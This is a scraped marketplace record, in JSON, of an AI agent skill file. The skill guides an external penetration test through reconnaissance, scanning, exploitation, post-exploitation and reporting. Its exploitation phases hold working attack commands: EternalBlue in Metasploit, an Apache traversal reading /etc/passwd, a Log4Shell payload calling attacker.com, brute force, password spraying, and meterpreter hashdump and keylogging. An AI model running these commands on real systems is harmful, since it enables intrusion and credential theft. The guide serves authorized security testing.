[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71FHSBXPX1G0HMTM34Z4K4H":3,"skill-same:01M71FHSBXPX1G0HMTM34Z4K4H":99},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":72,"commitSha":73,"skillDirectory":74,"forksCount":14,"repositoryHtmlUrl":75,"repositoryHomepageUrl":6,"ownerHtmlUrl":76,"ownerBlogUrl":6,"ownerDescription":77,"updatedAt":78,"install":79,"resources":92},"01M71FHSBXPX1G0HMTM34Z4K4H","assessment-extpentest-detect",null,"Conduct a comprehensive external network penetration test to identify vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance, scanning, exploitation, and reporting.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fnetwork\u002Fassessment\u002Fextpentest\u002Fdetect\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"assessment extpentest detect","detect","assessment","external-pentest","penetration","conduct","infrastructure","sonnet","security","pentest","network","reporting","read","scanning","de","vulnerability","Bash","cybersecurity","internet","testing","2026-11-10 10:12:30",false,"---\nname: assessment-extpentest-detect\ndescription: Conduct a comprehensive external network penetration test to identify vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance, scanning, exploitation, and reporting.\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- external-pentest\n- network-security\n- PTES\n- OSSTMM\n- Nmap\n- Metasploit\n- vulnerability-assessment\n- reconnaissance\n- exploitation\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1046\n- T1595\ncve:\n- CVE-2021-41773\n- CVE-2021-42013\n- CVE-2021-44228\ncapec: []\n---\n\n# Performing External Network Penetration Test\n\n## Overview\n\nAn external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing external network penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Written authorization (Rules of Engagement document signed by asset owner)\n- Defined scope: IP ranges, domains, subdomains, and exclusions\n- Testing environment: Kali Linux or Parrot OS with updated tools\n- VPN\u002Fdedicated testing infrastructure to avoid IP blocks\n- Coordination with SOC\u002FNOC for timing windows\n\n## Phase 1 — Pre-Engagement and Scoping\n\n### Define Rules of Engagement\n\n```\nScope:\n  - Target IP ranges: 203.0.113.0\u002F24, 198.51.100.0\u002F24\n  - Domains: *.target.com, *.target.io\n  - Exclusions: 203.0.113.50 (production DB), *.staging.target.com\n  - Testing window: Mon-Fri 22:00-06:00 UTC\n  - Emergency contact: SOC Lead — +1-555-0100\n  - Authorization ID: PENTEST-2025-EXT-042\n```\n\n### Legal Documentation Checklist\n\n| Document | Status | Owner |\n|----------|--------|-------|\n| Master Service Agreement (MSA) | Signed | Legal |\n| Statement of Work (SOW) | Signed | PM |\n| Rules of Engagement (RoE) | Signed | CISO |\n| Get-Out-of-Jail Letter | Signed | CTO |\n| NDA | Signed | Legal |\n| Insurance Certificate | Verified | Risk |\n\n## Phase 2 — Reconnaissance (Information Gathering)\n\n### Passive Reconnaissance\n\n```bash\n# OSINT — Subdomain enumeration\nsubfinder -d target.com -o subdomains.txt\namass enum -passive -d target.com -o amass_subs.txt\ncat subdomains.txt amass_subs.txt | sort -u > all_subs.txt\n\n# DNS record enumeration\ndig target.com ANY +noall +answer\ndig target.com MX +short\ndig target.com NS +short\ndig target.com TXT +short\n\n# WHOIS and ASN lookup\nwhois target.com\nwhois -h whois.radb.net -- '-i origin AS12345'\n\n# Certificate Transparency log search\ncurl -s \"https:\u002F\u002Fcrt.sh\u002F?q=%.target.com&output=json\" | jq '.[].name_value' | sort -u\n\n# Google dorking\n# site:target.com filetype:pdf\n# site:target.com inurl:admin\n# site:target.com intitle:\"index of\"\n\n# Shodan enumeration\nshodan search \"org:Target Corp\" --fields ip_str,port,product\nshodan host 203.0.113.10\n\n# Email harvesting\ntheHarvester -d target.com -b all -l 500 -f theharvester_results\n\n# GitHub\u002FGitLab secret scanning\ntrufflehog github --org=targetcorp --concurrency=5\ngitleaks detect --source=https:\u002F\u002Fgithub.com\u002Ftargetcorp\u002Frepo\n```\n\n### Active Reconnaissance\n\n```bash\n# Host discovery — ping sweep\nnmap -sn 203.0.113.0\u002F24 -oG ping_sweep.gnmap\n\n# TCP SYN scan — top 1000 ports\nnmap -sS -sV -O -T4 203.0.113.0\u002F24 -oA tcp_scan\n\n# Full TCP port scan\nnmap -sS -p- -T4 --min-rate 1000 203.0.113.0\u002F24 -oA full_tcp\n\n# UDP scan — top 100 ports\nnmap -sU --top-ports 100 -T4 203.0.113.0\u002F24 -oA udp_scan\n\n# Service version and script scan\nnmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0\u002F24 -oA service_scan\n\n# SSL\u002FTLS enumeration\nsslscan 203.0.113.10:443\ntestssl.sh --full https:\u002F\u002Ftarget.com\n\n# Web technology fingerprinting\nwhatweb -v https:\u002F\u002Ftarget.com\nwappalyzer https:\u002F\u002Ftarget.com\n```\n\n## Phase 3 — Vulnerability Analysis\n\n### Automated Scanning\n\n```bash\n# Nessus scan (via CLI)\nnessuscli scan --new --name \"External-Pentest-2025\" \\\n  --targets 203.0.113.0\u002F24 \\\n  --policy \"Advanced Network Scan\"\n\n# OpenVAS scan\ngvm-cli socket --xml '\u003Ccreate_task>\n  \u003Cname>External Pentest\u003C\u002Fname>\n  \u003Ctarget id=\"target-uuid\"\u002F>\n  \u003Cconfig id=\"daba56c8-73ec-11df-a475-002264764cea\"\u002F>\n\u003C\u002Fcreate_task>'\n\n# Nuclei vulnerability scanner\nnuclei -l all_subs.txt -t cves\u002F -t exposures\u002F -t misconfigurations\u002F \\\n  -severity critical,high -o nuclei_results.txt\n\n# Nikto web server scan\nnikto -h https:\u002F\u002Ftarget.com -output nikto_results.html -Format htm\n\n# Directory and file enumeration\ngobuster dir -u https:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fwordlists\u002Fdirbuster\u002Fdirectory-list-2.3-medium.txt \\\n  -x php,asp,aspx,jsp,html,txt -o gobuster_results.txt\nferoxbuster -u https:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-large-words.txt \\\n  --depth 3 -o ferox_results.txt\n```\n\n### Manual Vulnerability Validation\n\n```bash\n# Check for known CVEs on identified services\nsearchsploit apache 2.4.49\nsearchsploit openssh 8.2\n\n# Test for default credentials\nhydra -L \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002Ftop-usernames-shortlist.txt \\\n  -P \u002Fusr\u002Fshare\u002Fseclists\u002FPasswords\u002FCommon-Credentials\u002Ftop-20-common-SSH-passwords.txt \\\n  ssh:\u002F\u002F203.0.113.10 -t 4\n\n# Test VPN endpoints\nike-scan 203.0.113.20\n# Check for IKEv1 aggressive mode\n\n# SNMP enumeration\nsnmpwalk -v2c -c public 203.0.113.30\nonesixtyone -c \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FSNMP\u002Fsnmp-onesixtyone.txt 203.0.113.0\u002F24\n\n# SMTP enumeration\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002FNames\u002Fnames.txt -t 203.0.113.25\n```\n\n## Phase 4 — Exploitation\n\n### Network Service Exploitation\n\n```bash\n# Metasploit — EternalBlue (MS17-010) example\nmsfconsole -q\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nset RHOSTS 203.0.113.15\nset LHOST 10.10.14.5\nset LPORT 4444\nexploit\n\n# Apache RCE — CVE-2021-41773 \u002F CVE-2021-42013\ncurl -s --path-as-is \"https:\u002F\u002Ftarget.com\u002Fcgi-bin\u002F.%2e\u002F%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n\n# ProxyShell exploitation (Exchange)\npython3 proxyshell_exploit.py -u https:\u002F\u002Fmail.target.com -e admin@target.com\n\n# Log4Shell (CVE-2021-44228) testing\ncurl -H 'X-Api-Version: ${jndi:ldap:\u002F\u002Fattacker.com\u002Fexploit}' https:\u002F\u002Ftarget.com\u002Fapi\n```\n\n### Web Application Exploitation\n\n```bash\n# SQL Injection with sqlmap\nsqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --batch --dbs --risk=3 --level=5\n\n# XSS payload testing\ndalfox url \"https:\u002F\u002Ftarget.com\u002Fsearch?q=test\" --skip-bav\n\n# Command injection testing\ncommix --url=\"https:\u002F\u002Ftarget.com\u002Fping?host=127.0.0.1\" --batch\n\n# File upload bypass\n# Upload PHP shell with double extension: shell.php.jpg\n# Test content-type bypass: application\u002Foctet-stream -> image\u002Fjpeg\n```\n\n### Password Attacks\n\n```bash\n# Brute force RDP\ncrowbar -b rdp -s 203.0.113.40\u002F32 -u admin -C \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -n 4\n\n# Spray attack against OWA\nsprayhound -U users.txt -p 'Spring2025!' -d target.com -url https:\u002F\u002Fmail.target.com\u002Fowa\n\n# Crack captured hashes\nhashcat -m 5600 captured_ntlmv2.hash \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n```\n\n## Phase 5 — Post-Exploitation\n\n```bash\n# Establish persistence (authorized testing only)\n# Meterpreter session\nmeterpreter> sysinfo\nmeterpreter> getuid\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Frecon\u002Flocal_exploit_suggester\n\n# Privilege escalation check\n# Linux\n.\u002Flinpeas.sh | tee linpeas_output.txt\n# Windows\n.\\winPEAS.exe | tee winpeas_output.txt\n\n# Data exfiltration proof\n# Create proof file (DO NOT exfiltrate real sensitive data)\necho \"PENTEST-PROOF-$(date +%Y%m%d)\" > \u002Ftmp\u002Fpentest_proof.txt\n\n# Network pivoting through compromised host\n# Set up SOCKS proxy via SSH\nssh -D 9050 user@203.0.113.15\nproxychains nmap -sT -p 80,443,445 10.0.0.0\u002F24\n\n# Screenshot and evidence collection\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n## Phase 6 — Reporting\n\n### Finding Classification (CVSS v3.1)\n\n| Severity | CVSS Range | Count | Example |\n|----------|-----------|-------|---------|\n| Critical | 9.0-10.0 | 2 | RCE via unpatched Exchange (ProxyShell) |\n| High | 7.0-8.9 | 5 | SQL Injection in customer portal |\n| Medium | 4.0-6.9 | 8 | Missing security headers, TLS 1.0 |\n| Low | 0.1-3.9 | 12 | Information disclosure via server banners |\n| Info | 0.0 | 6 | Open ports documentation |\n\n### Report Structure\n\n```\n1. Executive Summary\n   - Scope and objectives\n   - Key findings summary\n   - Risk rating overview\n   - Strategic recommendations\n\n2. Technical Findings\n   For each finding:\n   - Title and CVSS score\n   - Affected asset(s)\n   - Description and impact\n   - Steps to reproduce (with screenshots)\n   - Evidence\u002Fproof of exploitation\n   - Remediation recommendation\n   - References (CVE, CWE)\n\n3. Methodology\n   - Tools used\n   - Testing timeline\n   - Frameworks followed (PTES, OWASP)\n\n4. Appendices\n   - Full scan results\n   - Network diagrams\n   - Raw tool output\n```\n\n## Remediation Priority Matrix\n\n| Priority | Timeline | Action |\n|----------|----------|--------|\n| P1 — Critical | 24-48 hours | Patch RCE vulnerabilities, disable exposed admin panels |\n| P2 — High | 1-2 weeks | Fix injection flaws, implement MFA |\n| P3 — Medium | 30 days | Harden TLS configs, add security headers |\n| P4 — Low | 60-90 days | Remove version banners, update documentation |\n\n## Tools Reference\n\n| Tool | Purpose | License |\n|------|---------|---------|\n| Nmap | Port scanning and service enumeration | GPLv2 |\n| Metasploit | Exploitation framework | BSD |\n| Burp Suite Pro | Web application testing | Commercial |\n| Nuclei | Vulnerability scanning | MIT |\n| Subfinder | Subdomain enumeration | MIT |\n| SQLMap | SQL injection testing | GPLv2 |\n| Nessus | Vulnerability scanner | Commercial |\n| Gobuster | Directory brute-forcing | Apache 2.0 |\n| Hashcat | Password cracking | MIT |\n| theHarvester | OSINT email\u002Fdomain harvesting | GPLv2 |\n\n## References\n\n- PTES (Penetration Testing Execution Standard): http:\u002F\u002Fwww.pentest-standard.org\u002F\n- OWASP Testing Guide v4.2: https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002F\n- NIST SP 800-115: Technical Guide to Information Security Testing: https:\u002F\u002Fcsrc.nist.gov\u002Fpublications\u002Fdetail\u002Fsp\u002F800-115\u002Ffinal\n- OSSTMM v3: https:\u002F\u002Fwww.isecom.org\u002FOSSTMM.3.pdf\n- MITRE ATT&CK: https:\u002F\u002Fattack.mitre.org\u002F\n","# Performing External Network Penetration Test\n\n## Overview\n\nAn external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing external network penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Written authorization (Rules of Engagement document signed by asset owner)\n- Defined scope: IP ranges, domains, subdomains, and exclusions\n- Testing environment: Kali Linux or Parrot OS with updated tools\n- VPN\u002Fdedicated testing infrastructure to avoid IP blocks\n- Coordination with SOC\u002FNOC for timing windows\n\n## Phase 1 — Pre-Engagement and Scoping\n\n### Define Rules of Engagement\n\n```\nScope:\n  - Target IP ranges: 203.0.113.0\u002F24, 198.51.100.0\u002F24\n  - Domains: *.target.com, *.target.io\n  - Exclusions: 203.0.113.50 (production DB), *.staging.target.com\n  - Testing window: Mon-Fri 22:00-06:00 UTC\n  - Emergency contact: SOC Lead — +1-555-0100\n  - Authorization ID: PENTEST-2025-EXT-042\n```\n\n### Legal Documentation Checklist\n\n| Document | Status | Owner |\n|----------|--------|-------|\n| Master Service Agreement (MSA) | Signed | Legal |\n| Statement of Work (SOW) | Signed | PM |\n| Rules of Engagement (RoE) | Signed | CISO |\n| Get-Out-of-Jail Letter | Signed | CTO |\n| NDA | Signed | Legal |\n| Insurance Certificate | Verified | Risk |\n\n## Phase 2 — Reconnaissance (Information Gathering)\n\n### Passive Reconnaissance\n\n```bash\n# OSINT — Subdomain enumeration\nsubfinder -d target.com -o subdomains.txt\namass enum -passive -d target.com -o amass_subs.txt\ncat subdomains.txt amass_subs.txt | sort -u > all_subs.txt\n\n# DNS record enumeration\ndig target.com ANY +noall +answer\ndig target.com MX +short\ndig target.com NS +short\ndig target.com TXT +short\n\n# WHOIS and ASN lookup\nwhois target.com\nwhois -h whois.radb.net -- '-i origin AS12345'\n\n# Certificate Transparency log search\ncurl -s \"https:\u002F\u002Fcrt.sh\u002F?q=%.target.com&output=json\" | jq '.[].name_value' | sort -u\n\n# Google dorking\n# site:target.com filetype:pdf\n# site:target.com inurl:admin\n# site:target.com intitle:\"index of\"\n\n# Shodan enumeration\nshodan search \"org:Target Corp\" --fields ip_str,port,product\nshodan host 203.0.113.10\n\n# Email harvesting\ntheHarvester -d target.com -b all -l 500 -f theharvester_results\n\n# GitHub\u002FGitLab secret scanning\ntrufflehog github --org=targetcorp --concurrency=5\ngitleaks detect --source=https:\u002F\u002Fgithub.com\u002Ftargetcorp\u002Frepo\n```\n\n### Active Reconnaissance\n\n```bash\n# Host discovery — ping sweep\nnmap -sn 203.0.113.0\u002F24 -oG ping_sweep.gnmap\n\n# TCP SYN scan — top 1000 ports\nnmap -sS -sV -O -T4 203.0.113.0\u002F24 -oA tcp_scan\n\n# Full TCP port scan\nnmap -sS -p- -T4 --min-rate 1000 203.0.113.0\u002F24 -oA full_tcp\n\n# UDP scan — top 100 ports\nnmap -sU --top-ports 100 -T4 203.0.113.0\u002F24 -oA udp_scan\n\n# Service version and script scan\nnmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0\u002F24 -oA service_scan\n\n# SSL\u002FTLS enumeration\nsslscan 203.0.113.10:443\ntestssl.sh --full https:\u002F\u002Ftarget.com\n\n# Web technology fingerprinting\nwhatweb -v https:\u002F\u002Ftarget.com\nwappalyzer https:\u002F\u002Ftarget.com\n```\n\n## Phase 3 — Vulnerability Analysis\n\n### Automated Scanning\n\n```bash\n# Nessus scan (via CLI)\nnessuscli scan --new --name \"External-Pentest-2025\" \\\n  --targets 203.0.113.0\u002F24 \\\n  --policy \"Advanced Network Scan\"\n\n# OpenVAS scan\ngvm-cli socket --xml '\u003Ccreate_task>\n  \u003Cname>External Pentest\u003C\u002Fname>\n  \u003Ctarget id=\"target-uuid\"\u002F>\n  \u003Cconfig id=\"daba56c8-73ec-11df-a475-002264764cea\"\u002F>\n\u003C\u002Fcreate_task>'\n\n# Nuclei vulnerability scanner\nnuclei -l all_subs.txt -t cves\u002F -t exposures\u002F -t misconfigurations\u002F \\\n  -severity critical,high -o nuclei_results.txt\n\n# Nikto web server scan\nnikto -h https:\u002F\u002Ftarget.com -output nikto_results.html -Format htm\n\n# Directory and file enumeration\ngobuster dir -u https:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fwordlists\u002Fdirbuster\u002Fdirectory-list-2.3-medium.txt \\\n  -x php,asp,aspx,jsp,html,txt -o gobuster_results.txt\nferoxbuster -u https:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-large-words.txt \\\n  --depth 3 -o ferox_results.txt\n```\n\n### Manual Vulnerability Validation\n\n```bash\n# Check for known CVEs on identified services\nsearchsploit apache 2.4.49\nsearchsploit openssh 8.2\n\n# Test for default credentials\nhydra -L \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002Ftop-usernames-shortlist.txt \\\n  -P \u002Fusr\u002Fshare\u002Fseclists\u002FPasswords\u002FCommon-Credentials\u002Ftop-20-common-SSH-passwords.txt \\\n  ssh:\u002F\u002F203.0.113.10 -t 4\n\n# Test VPN endpoints\nike-scan 203.0.113.20\n# Check for IKEv1 aggressive mode\n\n# SNMP enumeration\nsnmpwalk -v2c -c public 203.0.113.30\nonesixtyone -c \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FSNMP\u002Fsnmp-onesixtyone.txt 203.0.113.0\u002F24\n\n# SMTP enumeration\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002FNames\u002Fnames.txt -t 203.0.113.25\n```\n\n## Phase 4 — Exploitation\n\n### Network Service Exploitation\n\n```bash\n# Metasploit — EternalBlue (MS17-010) example\nmsfconsole -q\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nset RHOSTS 203.0.113.15\nset LHOST 10.10.14.5\nset LPORT 4444\nexploit\n\n# Apache RCE — CVE-2021-41773 \u002F CVE-2021-42013\ncurl -s --path-as-is \"https:\u002F\u002Ftarget.com\u002Fcgi-bin\u002F.%2e\u002F%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n\n# ProxyShell exploitation (Exchange)\npython3 proxyshell_exploit.py -u https:\u002F\u002Fmail.target.com -e admin@target.com\n\n# Log4Shell (CVE-2021-44228) testing\ncurl -H 'X-Api-Version: ${jndi:ldap:\u002F\u002Fattacker.com\u002Fexploit}' https:\u002F\u002Ftarget.com\u002Fapi\n```\n\n### Web Application Exploitation\n\n```bash\n# SQL Injection with sqlmap\nsqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --batch --dbs --risk=3 --level=5\n\n# XSS payload testing\ndalfox url \"https:\u002F\u002Ftarget.com\u002Fsearch?q=test\" --skip-bav\n\n# Command injection testing\ncommix --url=\"https:\u002F\u002Ftarget.com\u002Fping?host=127.0.0.1\" --batch\n\n# File upload bypass\n# Upload PHP shell with double extension: shell.php.jpg\n# Test content-type bypass: application\u002Foctet-stream -> image\u002Fjpeg\n```\n\n### Password Attacks\n\n```bash\n# Brute force RDP\ncrowbar -b rdp -s 203.0.113.40\u002F32 -u admin -C \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -n 4\n\n# Spray attack against OWA\nsprayhound -U users.txt -p 'Spring2025!' -d target.com -url https:\u002F\u002Fmail.target.com\u002Fowa\n\n# Crack captured hashes\nhashcat -m 5600 captured_ntlmv2.hash \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n```\n\n## Phase 5 — Post-Exploitation\n\n```bash\n# Establish persistence (authorized testing only)\n# Meterpreter session\nmeterpreter> sysinfo\nmeterpreter> getuid\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Frecon\u002Flocal_exploit_suggester\n\n# Privilege escalation check\n# Linux\n.\u002Flinpeas.sh | tee linpeas_output.txt\n# Windows\n.\\winPEAS.exe | tee winpeas_output.txt\n\n# Data exfiltration proof\n# Create proof file (DO NOT exfiltrate real sensitive data)\necho \"PENTEST-PROOF-$(date +%Y%m%d)\" > \u002Ftmp\u002Fpentest_proof.txt\n\n# Network pivoting through compromised host\n# Set up SOCKS proxy via SSH\nssh -D 9050 user@203.0.113.15\nproxychains nmap -sT -p 80,443,445 10.0.0.0\u002F24\n\n# Screenshot and evidence collection\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n## Phase 6 — Reporting\n\n### Finding Classification (CVSS v3.1)\n\n| Severity | CVSS Range | Count | Example |\n|----------|-----------|-------|---------|\n| Critical | 9.0-10.0 | 2 | RCE via unpatched Exchange (ProxyShell) |\n| High | 7.0-8.9 | 5 | SQL Injection in customer portal |\n| Medium | 4.0-6.9 | 8 | Missing security headers, TLS 1.0 |\n| Low | 0.1-3.9 | 12 | Information disclosure via server banners |\n| Info | 0.0 | 6 | Open ports documentation |\n\n### Report Structure\n\n```\n1. Executive Summary\n   - Scope and objectives\n   - Key findings summary\n   - Risk rating overview\n   - Strategic recommendations\n\n2. Technical Findings\n   For each finding:\n   - Title and CVSS score\n   - Affected asset(s)\n   - Description and impact\n   - Steps to reproduce (with screenshots)\n   - Evidence\u002Fproof of exploitation\n   - Remediation recommendation\n   - References (CVE, CWE)\n\n3. Methodology\n   - Tools used\n   - Testing timeline\n   - Frameworks followed (PTES, OWASP)\n\n4. Appendices\n   - Full scan results\n   - Network diagrams\n   - Raw tool output\n```\n\n## Remediation Priority Matrix\n\n| Priority | Timeline | Action |\n|----------|----------|--------|\n| P1 — Critical | 24-48 hours | Patch RCE vulnerabilities, disable exposed admin panels |\n| P2 — High | 1-2 weeks | Fix injection flaws, implement MFA |\n| P3 — Medium | 30 days | Harden TLS configs, add security headers |\n| P4 — Low | 60-90 days | Remove version banners, update documentation |\n\n## Tools Reference\n\n| Tool | Purpose | License |\n|------|---------|---------|\n| Nmap | Port scanning and service enumeration | GPLv2 |\n| Metasploit | Exploitation framework | BSD |\n| Burp Suite Pro | Web application testing | Commercial |\n| Nuclei | Vulnerability scanning | MIT |\n| Subfinder | Subdomain enumeration | MIT |\n| SQLMap | SQL injection testing | GPLv2 |\n| Nessus | Vulnerability scanner | Commercial |\n| Gobuster | Directory brute-forcing | Apache 2.0 |\n| Hashcat | Password cracking | MIT |\n| theHarvester | OSINT email\u002Fdomain harvesting | GPLv2 |\n\n## References\n\n- PTES (Penetration Testing Execution Standard): http:\u002F\u002Fwww.pentest-standard.org\u002F\n- OWASP Testing Guide v4.2: https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002F\n- NIST SP 800-115: Technical Guide to Information Security Testing: https:\u002F\u002Fcsrc.nist.gov\u002Fpublications\u002Fdetail\u002Fsp\u002F800-115\u002Ffinal\n- OSSTMM v3: https:\u002F\u002Fwww.isecom.org\u002FOSSTMM.3.pdf\n- MITRE ATT&CK: https:\u002F\u002Fattack.mitre.org\u002F\n",{"cve":44,"name":5,"tags":48,"capec":57,"model":26,"tools":58,"domain":36,"maxTurns":62,"nist_csf":63,"subdomain":68,"description":7,"mitre_attack":69},[45,46,47],"CVE-2021-41773","CVE-2021-42013","CVE-2021-44228",[22,49,50,51,52,53,54,55,56],"network-security","PTES","OSSTMM","Nmap","Metasploit","vulnerability-assessment","reconnaissance","exploitation",[],[59,35,60,61],"Read","Glob","Grep",20,[64,65,66,67],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing",[70,71],"T1046","T1595","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fnetwork\u002Fassessment\u002Fextpentest\u002Fdetect","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":80,"prompt":90,"zipAvailable":91},[81,84,87],{"tool":82,"command":83},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill assessment-extpentest-detect",{"tool":85,"command":86},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill assessment-extpentest-detect",{"tool":88,"command":89},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill assessment-extpentest-detect","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fnetwork\u002Fassessment\u002Fextpentest\u002Fdetect\u002FSKILL.md",true,[93],{"path":94,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"index.json","REFERENCE","参考文档",697,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fnetwork\u002Fassessment\u002Fextpentest\u002Fdetect\u002Findex.json",[100,110,133,154,175,196],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":104,"licenseFileUrl":105,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":109},"01M73MDK3NT5XHNYTQ5P5172V9","devel-jb-algorithmic-art","- Embed algorithms inline in the HTML artifact (don't create separate .","Apache-2.0","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":39},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[117,20,118,119,120,121,122,36,123,124,125,126,127,128,129,130,131,132,33],"services","services wmi persistence detect","wmi","persistence","process-forensics","process","forensics","t1546.003","event-subscription","subscription","repository","commandline-consumer","subscriptions","event","activescript","cm",{"skillNo":134,"name":135,"nameZh":6,"description":136,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":137,"categories":138,"keywords":139,"publishedAt":39},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[140,119,141,117,142,143,35,144,145,36,146,147,148,149,150,31,151,152,33,153],"exec","services wmi exec 